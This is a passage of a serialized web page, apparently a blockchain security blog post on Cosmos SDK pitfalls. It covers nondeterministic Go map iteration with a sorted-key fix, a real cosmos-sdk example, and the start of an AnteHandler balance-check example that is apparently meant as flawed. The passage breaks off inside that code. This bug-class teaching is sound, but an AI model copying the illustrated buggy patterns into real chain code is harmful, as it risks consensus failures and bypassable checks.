\"MapContext\"",{"type":22,"tag":264,"props":78794,"children":78795},{"style":1539},[78796],{"type":27,"value":4812},{"type":22,"tag":264,"props":78798,"children":78799},{"class":1534,"line":1621},[78800,78805,78809,78814,78818,78822,78826,78830],{"type":22,"tag":264,"props":78801,"children":78802},{"style":1549},[78803],{"type":27,"value":78804},"                sdk",{"type":22,"tag":264,"props":78806,"children":78807},{"style":1539},[78808],{"type":27,"value":210},{"type":22,"tag":264,"props":78810,"children":78811},{"style":4401},[78812],{"type":27,"value":78813},"NewAttribute",{"type":22,"tag":264,"props":78815,"children":78816},{"style":1539},[78817],{"type":27,"value":2660},{"type":22,"tag":264,"props":78819,"children":78820},{"style":1549},[78821],{"type":27,"value":73480},{"type":22,"tag":264,"props":78823,"children":78824},{"style":1539},[78825],{"type":27,"value":4380},{"type":22,"tag":264,"props":78827,"children":78828},{"style":1549},[78829],{"type":27,"value":40466},{"type":22,"tag":264,"props":78831,"children":78832},{"style":1539},[78833],{"type":27,"value":8029},{"type":22,"tag":264,"props":78835,"children":78836},{"class":1534,"line":1629},[78837],{"type":22,"tag":264,"props":78838,"children":78839},{"style":1539},[78840],{"type":27,"value":78841},"            )\n",{"type":22,"tag":264,"props":78843,"children":78844},{"class":1534,"line":1642},[78845],{"type":22,"tag":264,"props":78846,"children":78847},{"style":1539},[78848],{"type":27,"value":69644},{"type":22,"tag":264,"props":78850,"children":78851},{"class":1534,"line":1660},[78852],{"type":22,"tag":264,"props":78853,"children":78854},{"style":1539},[78855],{"type":27,"value":1674},{"type":22,"tag":264,"props":78857,"children":78858},{"class":1534,"line":1668},[78859],{"type":22,"tag":264,"props":78860,"children":78861},{"style":1539},[78862],{"type":27,"value":1692},{"type":22,"tag":23,"props":78864,"children":78865},{},[78866],{"type":27,"value":78867},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":22,"tag":4226,"props":78869,"children":78870},{},[78871],{"type":22,"tag":23,"props":78872,"children":78873},{},[78874],{"type":27,"value":78875},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":22,"tag":23,"props":78877,"children":78878},{},[78879,78881,78886],{"type":27,"value":78880},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":22,"tag":257,"props":78882,"children":78884},{"className":78883},[],[78885],{"type":27,"value":68425},{"type":27,"value":78887}," and then fetch the values using the sorted key array before emitting them.",{"type":22,"tag":618,"props":78889,"children":78891},{"code":78890,"language":77490,"meta":7,"className":77491,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[78892],{"type":22,"tag":257,"props":78893,"children":78894},{"__ignoreMap":7},[78895,78926,78933,78960,78980,79007,79043,79050,79079,79086,79121,79148,79167,79178,79222,79229,79236,79243],{"type":22,"tag":264,"props":78896,"children":78897},{"class":1534,"line":1535},[78898,78902,78906,78910,78914,78918,78922],{"type":22,"tag":264,"props":78899,"children":78900},{"style":4293},[78901],{"type":27,"value":34072},{"type":22,"tag":264,"props":78903,"children":78904},{"style":4722},[78905],{"type":27,"value":78640},{"type":22,"tag":264,"props":78907,"children":78908},{"style":4293},[78909],{"type":27,"value":50989},{"type":22,"tag":264,"props":78911,"children":78912},{"style":1539},[78913],{"type":27,"value":5045},{"type":22,"tag":264,"props":78915,"children":78916},{"style":4722},[78917],{"type":27,"value":30980},{"type":22,"tag":264,"props":78919,"children":78920},{"style":1539},[78921],{"type":27,"value":16710},{"type":22,"tag":264,"props":78923,"children":78924},{"style":4722},[78925],{"type":27,"value":78661},{"type":22,"tag":264,"props":78927,"children":78928},{"class":1534,"line":1545},[78929],{"type":22,"tag":264,"props":78930,"children":78931},{"emptyLinePlaceholder":17},[78932],{"type":27,"value":4986},{"type":22,"tag":264,"props":78934,"children":78935},{"class":1534,"line":1560},[78936,78940,78944,78948,78952,78956],{"type":22,"tag":264,"props":78937,"children":78938},{"style":4293},[78939],{"type":27,"value":77626},{"type":22,"tag":264,"props":78941,"children":78942},{"style":4401},[78943],{"type":27,"value":78680},{"type":22,"tag":264,"props":78945,"children":78946},{"style":1539},[78947],{"type":27,"value":2660},{"type":22,"tag":264,"props":78949,"children":78950},{"style":1549},[78951],{"type":27,"value":78689},{"type":22,"tag":264,"props":78953,"children":78954},{"style":4722},[78955],{"type":27,"value":78640},{"type":22,"tag":264,"props":78957,"children":78958},{"style":1539},[78959],{"type":27,"value":16103},{"type":22,"tag":264,"props":78961,"children":78962},{"class":1534,"line":1569},[78963,78968,78972,78976],{"type":22,"tag":264,"props":78964,"children":78965},{"style":4293},[78966],{"type":27,"value":78967},"    var",{"type":22,"tag":264,"props":78969,"children":78970},{"style":1549},[78971],{"type":27,"value":22687},{"type":22,"tag":264,"props":78973,"children":78974},{"style":1539},[78975],{"type":27,"value":77553},{"type":22,"tag":264,"props":78977,"children":78978},{"style":4722},[78979],{"type":27,"value":78661},{"type":22,"tag":264,"props":78981,"children":78982},{"class":1534,"line":1583},[78983,78987,78991,78995,78999,79003],{"type":22,"tag":264,"props":78984,"children":78985},{"style":4328},[78986],{"type":27,"value":4331},{"type":22,"tag":264,"props":78988,"children":78989},{"style":1549},[78990],{"type":27,"value":7223},{"type":22,"tag":264,"props":78992,"children":78993},{"style":4309},[78994],{"type":27,"value":77742},{"type":22,"tag":264,"props":78996,"children":78997},{"style":4328},[78998],{"type":27,"value":78725},{"type":22,"tag":264,"props":79000,"children":79001},{"style":1549},[79002],{"type":27,"value":78730},{"type":22,"tag":264,"props":79004,"children":79005},{"style":1539},[79006],{"type":27,"value":4594},{"type":22,"tag":264,"props":79008,"children":79009},{"class":1534,"line":1603},[79010,79014,79018,79023,79027,79031,79035,79039],{"type":22,"tag":264,"props":79011,"children":79012},{"style":1549},[79013],{"type":27,"value":26644},{"type":22,"tag":264,"props":79015,"children":79016},{"style":4309},[79017],{"type":27,"value":4312},{"type":22,"tag":264,"props":79019,"children":79020},{"style":4401},[79021],{"type":27,"value":79022}," append",{"type":22,"tag":264,"props":79024,"children":79025},{"style":1539},[79026],{"type":27,"value":2660},{"type":22,"tag":264,"props":79028,"children":79029},{"style":1549},[79030],{"type":27,"value":22290},{"type":22,"tag":264,"props":79032,"children":79033},{"style":1539},[79034],{"type":27,"value":4380},{"type":22,"tag":264,"props":79036,"children":79037},{"style":1549},[79038],{"type":27,"value":73480},{"type":22,"tag":264,"props":79040,"children":79041},{"style":1539},[79042],{"type":27,"value":4463},{"type":22,"tag":264,"props":79044,"children":79045},{"class":1534,"line":1612},[79046],{"type":22,"tag":264,"props":79047,"children":79048},{"style":1539},[79049],{"type":27,"value":1674},{"type":22,"tag":264,"props":79051,"children":79052},{"class":1534,"line":1621},[79053,79058,79062,79067,79071,79075],{"type":22,"tag":264,"props":79054,"children":79055},{"style":1549},[79056],{"type":27,"value":79057},"    sort",{"type":22,"tag":264,"props":79059,"children":79060},{"style":1539},[79061],{"type":27,"value":210},{"type":22,"tag":264,"props":79063,"children":79064},{"style":4401},[79065],{"type":27,"value":79066},"Strings",{"type":22,"tag":264,"props":79068,"children":79069},{"style":1539},[79070],{"type":27,"value":2660},{"type":22,"tag":264,"props":79072,"children":79073},{"style":1549},[79074],{"type":27,"value":22290},{"type":22,"tag":264,"props":79076,"children":79077},{"style":1539},[79078],{"type":27,"value":4463},{"type":22,"tag":264,"props":79080,"children":79081},{"class":1534,"line":1629},[79082],{"type":22,"tag":264,"props":79083,"children":79084},{"emptyLinePlaceholder":17},[79085],{"type":27,"value":4986},{"type":22,"tag":264,"props":79087,"children":79088},{"class":1534,"line":1642},[79089,79093,79097,79101,79105,79109,79113,79117],{"type":22,"tag":264,"props":79090,"children":79091},{"style":4328},[79092],{"type":27,"value":4331},{"type":22,"tag":264,"props":79094,"children":79095},{"style":1549},[79096],{"type":27,"value":4336},{"type":22,"tag":264,"props":79098,"children":79099},{"style":1539},[79100],{"type":27,"value":4380},{"type":22,"tag":264,"props":79102,"children":79103},{"style":1549},[79104],{"type":27,"value":73480},{"type":22,"tag":264,"props":79106,"children":79107},{"style":4309},[79108],{"type":27,"value":77742},{"type":22,"tag":264,"props":79110,"children":79111},{"style":4328},[79112],{"type":27,"value":78725},{"type":22,"tag":264,"props":79114,"children":79115},{"style":1549},[79116],{"type":27,"value":22687},{"type":22,"tag":264,"props":79118,"children":79119},{"style":1539},[79120],{"type":27,"value":4594},{"type":22,"tag":264,"props":79122,"children":79123},{"class":1534,"line":1660},[79124,79128,79132,79136,79140,79144],{"type":22,"tag":264,"props":79125,"children":79126},{"style":1549},[79127],{"type":27,"value":27498},{"type":22,"tag":264,"props":79129,"children":79130},{"style":1539},[79131],{"type":27,"value":210},{"type":22,"tag":264,"props":79133,"children":79134},{"style":1549},[79135],{"type":27,"value":78750},{"type":22,"tag":264,"props":79137,"children":79138},{"style":1539},[79139],{"type":27,"value":210},{"type":22,"tag":264,"props":79141,"children":79142},{"style":4401},[79143],{"type":27,"value":78759},{"type":22,"tag":264,"props":79145,"children":79146},{"style":1539},[79147],{"type":27,"value":4767},{"type":22,"tag":264,"props":79149,"children":79150},{"class":1534,"line":1668},[79151,79155,79159,79163],{"type":22,"tag":264,"props":79152,"children":79153},{"style":1549},[79154],{"type":27,"value":78771},{"type":22,"tag":264,"props":79156,"children":79157},{"style":1539},[79158],{"type":27,"value":210},{"type":22,"tag":264,"props":79160,"children":79161},{"style":4401},[79162],{"type":27,"value":78780},{"type":22,"tag":264,"props":79164,"children":79165},{"style":1539},[79166],{"type":27,"value":4767},{"type":22,"tag":264,"props":79168,"children":79169},{"class":1534,"line":1677},[79170,79174],{"type":22,"tag":264,"props":79171,"children":79172},{"style":1597},[79173],{"type":27,"value":78792},{"type":22,"tag":264,"props":79175,"children":79176},{"style":1539},[79177],{"type":27,"value":4812},{"type":22,"tag":264,"props":79179,"children":79180},{"class":1534,"line":1686},[79181,79185,79189,79193,79197,79201,79205,79209,79213,79217],{"type":22,"tag":264,"props":79182,"children":79183},{"style":1549},[79184],{"type":27,"value":78804},{"type":22,"tag":264,"props":79186,"children":79187},{"style":1539},[79188],{"type":27,"value":210},{"type":22,"tag":264,"props":79190,"children":79191},{"style":4401},[79192],{"type":27,"value":78813},{"type":22,"tag":264,"props":79194,"children":79195},{"style":1539},[79196],{"type":27,"value":2660},{"type":22,"tag":264,"props":79198,"children":79199},{"style":1549},[79200],{"type":27,"value":73480},{"type":22,"tag":264,"props":79202,"children":79203},{"style":1539},[79204],{"type":27,"value":4380},{"type":22,"tag":264,"props":79206,"children":79207},{"style":1549},[79208],{"type":27,"value":78689},{"type":22,"tag":264,"props":79210,"children":79211},{"style":1539},[79212],{"type":27,"value":5045},{"type":22,"tag":264,"props":79214,"children":79215},{"style":1549},[79216],{"type":27,"value":73480},{"type":22,"tag":264,"props":79218,"children":79219},{"style":1539},[79220],{"type":27,"value":79221},"]),\n",{"type":22,"tag":264,"props":79223,"children":79224},{"class":1534,"line":4948},[79225],{"type":22,"tag":264,"props":79226,"children":79227},{"style":1539},[79228],{"type":27,"value":78841},{"type":22,"tag":264,"props":79230,"children":79231},{"class":1534,"line":4957},[79232],{"type":22,"tag":264,"props":79233,"children":79234},{"style":1539},[79235],{"type":27,"value":69644},{"type":22,"tag":264,"props":79237,"children":79238},{"class":1534,"line":4980},[79239],{"type":22,"tag":264,"props":79240,"children":79241},{"style":1539},[79242],{"type":27,"value":1674},{"type":22,"tag":264,"props":79244,"children":79245},{"class":1534,"line":4989},[79246],{"type":22,"tag":264,"props":79247,"children":79248},{"style":1539},[79249],{"type":27,"value":1692},{"type":22,"tag":23,"props":79251,"children":79252},{},[79253],{"type":27,"value":79254},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":22,"tag":181,"props":79256,"children":79258},{"id":79257},"real-world-examples-1",[79259],{"type":27,"value":78015},{"type":22,"tag":23,"props":79261,"children":79262},{},[79263,79265,79270,79272,79278,79280,79286,79288,79294],{"type":27,"value":79264},"Real-world examples of ",{"type":22,"tag":257,"props":79266,"children":79268},{"className":79267},[],[79269],{"type":27,"value":68425},{"type":27,"value":79271}," causing determinism problems can be found ",{"type":22,"tag":69,"props":79273,"children":79276},{"href":79274,"rel":79275},"https://github.com/cosmos/cosmos-sdk/pull/12487",[73],[79277],{"type":27,"value":48904},{"type":27,"value":79279},", specifically, where the result of ",{"type":22,"tag":257,"props":79281,"children":79283},{"className":79282},[],[79284],{"type":27,"value":79285},"buildCommitInfo",{"type":27,"value":79287}," is inconsistent due to iteration over the ",{"type":22,"tag":257,"props":79289,"children":79291},{"className":79290},[],[79292],{"type":27,"value":79293},"rs.stores",{"type":27,"value":79295}," map.",{"type":22,"tag":23,"props":79297,"children":79298},{},[79299],{"type":22,"tag":69,"props":79300,"children":79303},{"href":79301,"rel":79302},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[73],[79304],{"type":27,"value":78065},{"type":22,"tag":618,"props":79306,"children":79308},{"code":79307,"language":77490,"meta":7,"className":77491,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[79309],{"type":22,"tag":257,"props":79310,"children":79311},{"__ignoreMap":7},[79312,79349,79362,79390,79424,79469,79515,79523,79530,79575,79605,79634,79641,79648,79675,79697,79717,79724],{"type":22,"tag":264,"props":79313,"children":79314},{"class":1534,"line":1535},[79315,79319,79323,79328,79332,79337,79341,79345],{"type":22,"tag":264,"props":79316,"children":79317},{"style":4293},[79318],{"type":27,"value":77626},{"type":22,"tag":264,"props":79320,"children":79321},{"style":1539},[79322],{"type":27,"value":4370},{"type":22,"tag":264,"props":79324,"children":79325},{"style":1549},[79326],{"type":27,"value":79327},"rs ",{"type":22,"tag":264,"props":79329,"children":79330},{"style":4309},[79331],{"type":27,"value":5865},{"type":22,"tag":264,"props":79333,"children":79334},{"style":4722},[79335],{"type":27,"value":79336},"Store",{"type":22,"tag":264,"props":79338,"children":79339},{"style":1539},[79340],{"type":27,"value":4390},{"type":22,"tag":264,"props":79342,"children":79343},{"style":4401},[79344],{"type":27,"value":79285},{"type":22,"tag":264,"props":79346,"children":79347},{"style":1539},[79348],{"type":27,"value":4767},{"type":22,"tag":264,"props":79350,"children":79351},{"class":1534,"line":1545},[79352,79357],{"type":22,"tag":264,"props":79353,"children":79354},{"style":1549},[79355],{"type":27,"value":79356},"    version",{"type":22,"tag":264,"props":79358,"children":79359},{"style":4722},[79360],{"type":27,"value":79361}," int64\n",{"type":22,"tag":264,"props":79363,"children":79364},{"class":1534,"line":1560},[79365,79369,79373,79377,79381,79386],{"type":22,"tag":264,"props":79366,"children":79367},{"style":1539},[79368],{"type":27,"value":4390},{"type":22,"tag":264,"props":79370,"children":79371},{"style":4309},[79372],{"type":27,"value":5865},{"type":22,"tag":264,"props":79374,"children":79375},{"style":4722},[79376],{"type":27,"value":7049},{"type":22,"tag":264,"props":79378,"children":79379},{"style":1539},[79380],{"type":27,"value":210},{"type":22,"tag":264,"props":79382,"children":79383},{"style":4722},[79384],{"type":27,"value":79385},"CommitInfo",{"type":22,"tag":264,"props":79387,"children":79388},{"style":1539},[79389],{"type":27,"value":4594},{"type":22,"tag":264,"props":79391,"children":79392},{"class":1534,"line":1569},[79393,79398,79402,79406,79410,79414,79419],{"type":22,"tag":264,"props":79394,"children":79395},{"style":1549},[79396],{"type":27,"value":79397},"    storeInfos",{"type":22,"tag":264,"props":79399,"children":79400},{"style":4309},[79401],{"type":27,"value":77742},{"type":22,"tag":264,"props":79403,"children":79404},{"style":1539},[79405],{"type":27,"value":77553},{"type":22,"tag":264,"props":79407,"children":79408},{"style":4722},[79409],{"type":27,"value":7049},{"type":22,"tag":264,"props":79411,"children":79412},{"style":1539},[79413],{"type":27,"value":210},{"type":22,"tag":264,"props":79415,"children":79416},{"style":4722},[79417],{"type":27,"value":79418},"StoreInfo",{"type":22,"tag":264,"props":79420,"children":79421},{"style":1539},[79422],{"type":27,"value":79423},"{}\n",{"type":22,"tag":264,"props":79425,"children":79426},{"class":1534,"line":1583},[79427,79431,79435,79439,79443,79447,79451,79456,79460,79465],{"type":22,"tag":264,"props":79428,"children":79429},{"style":4328},[79430],{"type":27,"value":4331},{"type":22,"tag":264,"props":79432,"children":79433},{"style":1549},[79434],{"type":27,"value":7223},{"type":22,"tag":264,"props":79436,"children":79437},{"style":1539},[79438],{"type":27,"value":4380},{"type":22,"tag":264,"props":79440,"children":79441},{"style":1549},[79442],{"type":27,"value":7232},{"type":22,"tag":264,"props":79444,"children":79445},{"style":4309},[79446],{"type":27,"value":77742},{"type":22,"tag":264,"props":79448,"children":79449},{"style":4328},[79450],{"type":27,"value":78725},{"type":22,"tag":264,"props":79452,"children":79453},{"style":1549},[79454],{"type":27,"value":79455}," rs",{"type":22,"tag":264,"props":79457,"children":79458},{"style":1539},[79459],{"type":27,"value":210},{"type":22,"tag":264,"props":79461,"children":79462},{"style":1549},[79463],{"type":27,"value":79464},"stores",{"type":22,"tag":264,"props":79466,"children":79467},{"style":1539},[79468],{"type":27,"value":4594},{"type":22,"tag":264,"props":79470,"children":79471},{"class":1534,"line":1603},[79472,79476,79480,79484,79489,79493,79497,79502,79506,79511],{"type":22,"tag":264,"props":79473,"children":79474},{"style":4328},[79475],{"type":27,"value":4575},{"type":22,"tag":264,"props":79477,"children":79478},{"style":1549},[79479],{"type":27,"value":7122},{"type":22,"tag":264,"props":79481,"children":79482},{"style":1539},[79483],{"type":27,"value":210},{"type":22,"tag":264,"props":79485,"children":79486},{"style":4401},[79487],{"type":27,"value":79488},"GetStoreType",{"type":22,"tag":264,"props":79490,"children":79491},{"style":1539},[79492],{"type":27,"value":15342},{"type":22,"tag":264,"props":79494,"children":79495},{"style":4309},[79496],{"type":27,"value":9870},{"type":22,"tag":264,"props":79498,"children":79499},{"style":1549},[79500],{"type":27,"value":79501}," types",{"type":22,"tag":264,"props":79503,"children":79504},{"style":1539},[79505],{"type":27,"value":210},{"type":22,"tag":264,"props":79507,"children":79508},{"style":1549},[79509],{"type":27,"value":79510},"StoreTypeTransient",{"type":22,"tag":264,"props":79512,"children":79513},{"style":1539},[79514],{"type":27,"value":4594},{"type":22,"tag":264,"props":79516,"children":79517},{"class":1534,"line":1612},[79518],{"type":22,"tag":264,"props":79519,"children":79520},{"style":4328},[79521],{"type":27,"value":79522},"            continue\n",{"type":22,"tag":264,"props":79524,"children":79525},{"class":1534,"line":1621},[79526],{"type":22,"tag":264,"props":79527,"children":79528},{"style":1539},[79529],{"type":27,"value":4651},{"type":22,"tag":264,"props":79531,"children":79532},{"class":1534,"line":1629},[79533,79538,79542,79546,79550,79555,79559,79563,79567,79571],{"type":22,"tag":264,"props":79534,"children":79535},{"style":1549},[79536],{"type":27,"value":79537},"        storeInfos",{"type":22,"tag":264,"props":79539,"children":79540},{"style":4309},[79541],{"type":27,"value":4312},{"type":22,"tag":264,"props":79543,"children":79544},{"style":4401},[79545],{"type":27,"value":79022},{"type":22,"tag":264,"props":79547,"children":79548},{"style":1539},[79549],{"type":27,"value":2660},{"type":22,"tag":264,"props":79551,"children":79552},{"style":1549},[79553],{"type":27,"value":79554},"storeInfos",{"type":22,"tag":264,"props":79556,"children":79557},{"style":1539},[79558],{"type":27,"value":4380},{"type":22,"tag":264,"props":79560,"children":79561},{"style":4722},[79562],{"type":27,"value":7049},{"type":22,"tag":264,"props":79564,"children":79565},{"style":1539},[79566],{"type":27,"value":210},{"type":22,"tag":264,"props":79568,"children":79569},{"style":4722},[79570],{"type":27,"value":79418},{"type":22,"tag":264,"props":79572,"children":79573},{"style":1539},[79574],{"type":27,"value":1542},{"type":22,"tag":264,"props":79576,"children":79577},{"class":1534,"line":1642},[79578,79583,79588,79592,79596,79601],{"type":22,"tag":264,"props":79579,"children":79580},{"style":1549},[79581],{"type":27,"value":79582},"            Name",{"type":22,"tag":264,"props":79584,"children":79585},{"style":1539},[79586],{"type":27,"value":79587},":     ",{"type":22,"tag":264,"props":79589,"children":79590},{"style":1549},[79591],{"type":27,"value":73480},{"type":22,"tag":264,"props":79593,"children":79594},{"style":1539},[79595],{"type":27,"value":210},{"type":22,"tag":264,"props":79597,"children":79598},{"style":4401},[79599],{"type":27,"value":79600},"Name",{"type":22,"tag":264,"props":79602,"children":79603},{"style":1539},[79604],{"type":27,"value":4795},{"type":22,"tag":264,"props":79606,"children":79607},{"class":1534,"line":1660},[79608,79613,79617,79621,79625,79630],{"type":22,"tag":264,"props":79609,"children":79610},{"style":1549},[79611],{"type":27,"value":79612},"            CommitId",{"type":22,"tag":264,"props":79614,"children":79615},{"style":1539},[79616],{"type":27,"value":1594},{"type":22,"tag":264,"props":79618,"children":79619},{"style":1549},[79620],{"type":27,"value":7232},{"type":22,"tag":264,"props":79622,"children":79623},{"style":1539},[79624],{"type":27,"value":210},{"type":22,"tag":264,"props":79626,"children":79627},{"style":4401},[79628],{"type":27,"value":79629},"LastCommitID",{"type":22,"tag":264,"props":79631,"children":79632},{"style":1539},[79633],{"type":27,"value":4795},{"type":22,"tag":264,"props":79635,"children":79636},{"class":1534,"line":1668},[79637],{"type":22,"tag":264,"props":79638,"children":79639},{"style":1539},[79640],{"type":27,"value":69521},{"type":22,"tag":264,"props":79642,"children":79643},{"class":1534,"line":1677},[79644],{"type":22,"tag":264,"props":79645,"children":79646},{"style":1539},[79647],{"type":27,"value":1674},{"type":22,"tag":264,"props":79649,"children":79650},{"class":1534,"line":1686},[79651,79655,79659,79663,79667,79671],{"type":22,"tag":264,"props":79652,"children":79653},{"style":4328},[79654],{"type":27,"value":18291},{"type":22,"tag":264,"props":79656,"children":79657},{"style":4309},[79658],{"type":27,"value":8434},{"type":22,"tag":264,"props":79660,"children":79661},{"style":4722},[79662],{"type":27,"value":7049},{"type":22,"tag":264,"props":79664,"children":79665},{"style":1539},[79666],{"type":27,"value":210},{"type":22,"tag":264,"props":79668,"children":79669},{"style":4722},[79670],{"type":27,"value":79385},{"type":22,"tag":264,"props":79672,"children":79673},{"style":1539},[79674],{"type":27,"value":1542},{"type":22,"tag":264,"props":79676,"children":79677},{"class":1534,"line":4948},[79678,79683,79688,79693],{"type":22,"tag":264,"props":79679,"children":79680},{"style":1549},[79681],{"type":27,"value":79682},"        Version",{"type":22,"tag":264,"props":79684,"children":79685},{"style":1539},[79686],{"type":27,"value":79687},":    ",{"type":22,"tag":264,"props":79689,"children":79690},{"style":1549},[79691],{"type":27,"value":79692},"version",{"type":22,"tag":264,"props":79694,"children":79695},{"style":1539},[79696],{"type":27,"value":4812},{"type":22,"tag":264,"props":79698,"children":79699},{"class":1534,"line":4957},[79700,79705,79709,79713],{"type":22,"tag":264,"props":79701,"children":79702},{"style":1549},[79703],{"type":27,"value":79704},"        StoreInfos",{"type":22,"tag":264,"props":79706,"children":79707},{"style":1539},[79708],{"type":27,"value":1594},{"type":22,"tag":264,"props":79710,"children":79711},{"style":1549},[79712],{"type":27,"value":79554},{"type":22,"tag":264,"props":79714,"children":79715},{"style":1539},[79716],{"type":27,"value":4812},{"type":22,"tag":264,"props":79718,"children":79719},{"class":1534,"line":4980},[79720],{"type":22,"tag":264,"props":79721,"children":79722},{"style":1539},[79723],{"type":27,"value":1674},{"type":22,"tag":264,"props":79725,"children":79726},{"class":1534,"line":4989},[79727],{"type":22,"tag":264,"props":79728,"children":79729},{"style":1539},[79730],{"type":27,"value":1692},{"type":22,"tag":23,"props":79732,"children":79733},{},[79734,79736,79743,79744,79751],{"type":27,"value":79735},"Other factors contributing to determinism issues are the usage of ",{"type":22,"tag":69,"props":79737,"children":79740},{"href":79738,"rel":79739},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[73],[79741],{"type":27,"value":79742},"time-sensitive functions",{"type":27,"value":12290},{"type":22,"tag":69,"props":79745,"children":79748},{"href":79746,"rel":79747},"https://github.com/cosmos/cosmos-sdk/issues/16638",[73],[79749],{"type":27,"value":79750},"race conditions",{"type":27,"value":210},{"type":22,"tag":169,"props":79753,"children":79755},{"id":79754},"thou-shalt-not-passor-should-you",[79756],{"type":27,"value":79757},"Thou Shalt Not Pass...Or Should You?",{"type":22,"tag":23,"props":79759,"children":79760},{},[79761,79763,79769,79770,79776],{"type":27,"value":79762},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":22,"tag":257,"props":79764,"children":79766},{"className":79765},[],[79767],{"type":27,"value":79768},"msg.value",{"type":27,"value":4380},{"type":22,"tag":257,"props":79771,"children":79773},{"className":79772},[],[79774],{"type":27,"value":79775},"msg.sender",{"type":27,"value":79777},", and collecting transaction fees) to the underlying blockchain.",{"type":22,"tag":23,"props":79779,"children":79780},{},[79781,79783,79789,79791,79797],{"type":27,"value":79782},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":22,"tag":257,"props":79784,"children":79786},{"className":79785},[],[79787],{"type":27,"value":79788},"Cosmos-SDK",{"type":27,"value":79790}," introduces ",{"type":22,"tag":257,"props":79792,"children":79794},{"className":79793},[],[79795],{"type":27,"value":79796},"AnteHandler",{"type":27,"value":79798}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":22,"tag":23,"props":79800,"children":79801},{},[79802,79804,79809,79811,79816],{"type":27,"value":79803},"To provide context, let's first understand how an ",{"type":22,"tag":257,"props":79805,"children":79807},{"className":79806},[],[79808],{"type":27,"value":79796},{"type":27,"value":79810}," is processed. Each ",{"type":22,"tag":257,"props":79812,"children":79814},{"className":79813},[],[79815],{"type":27,"value":79796},{"type":27,"value":79817}," is a state transition function that can:",{"type":22,"tag":1867,"props":79819,"children":79820},{},[79821,79826],{"type":22,"tag":1871,"props":79822,"children":79823},{},[79824],{"type":27,"value":79825},"Transform the block state in relation to transaction and execution context.",{"type":22,"tag":1871,"props":79827,"children":79828},{},[79829,79831],{"type":27,"value":79830},"Determine the course of action for the transaction.\n",{"type":22,"tag":1867,"props":79832,"children":79833},{},[79834,79845],{"type":22,"tag":1871,"props":79835,"children":79836},{},[79837,79839,79844],{"type":27,"value":79838},"Pass the transaction to the next ",{"type":22,"tag":257,"props":79840,"children":79842},{"className":79841},[],[79843],{"type":27,"value":79796},{"type":27,"value":210},{"type":22,"tag":1871,"props":79846,"children":79847},{},[79848],{"type":27,"value":79849},"Return error for transaction.",{"type":22,"tag":23,"props":79851,"children":79852},{},[79853,79855,79860],{"type":27,"value":79854},"The bad news is that developing an ",{"type":22,"tag":257,"props":79856,"children":79858},{"className":79857},[],[79859],{"type":27,"value":79796},{"type":27,"value":79861}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":22,"tag":23,"props":79863,"children":79864},{},[79865,79866,79872],{"type":27,"value":17914},{"type":22,"tag":257,"props":79867,"children":79869},{"className":79868},[],[79870],{"type":27,"value":79871},"AnteHandle",{"type":27,"value":79873}," implementation may look something like this:",{"type":22,"tag":618,"props":79875,"children":79877},{"code":79876,"language":77490,"meta":7,"className":77491,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[79878],{"type":22,"tag":257,"props":79879,"children":79880},{"__ignoreMap":7},[79881,79893,79909,79916,79923,79956,79980,80005,80021,80045,80077,80125,80144,80177,80198,80210,80217,80224,80231,80261,80297,80361,80395,80427,80439,80451,80458,80465,80472,80479,80521],{"type":22,"tag":264,"props":79882,"children":79883},{"class":1534,"line":1535},[79884,79888],{"type":22,"tag":264,"props":79885,"children":79886},{"style":4293},[79887],{"type":27,"value":10953},{"type":22,"tag":264,"props":79889,"children":79890},{"style":1539},[79891],{"type":27,"value":79892}," (\n",{"type":22,"tag":264,"props":79894,"children":79895},{"class":1534,"line":1545},[79896,79901,79905],{"type":22,"tag":264,"props":79897,"children":79898},{"style":1549},[79899],{"type":27,"value":79900},"    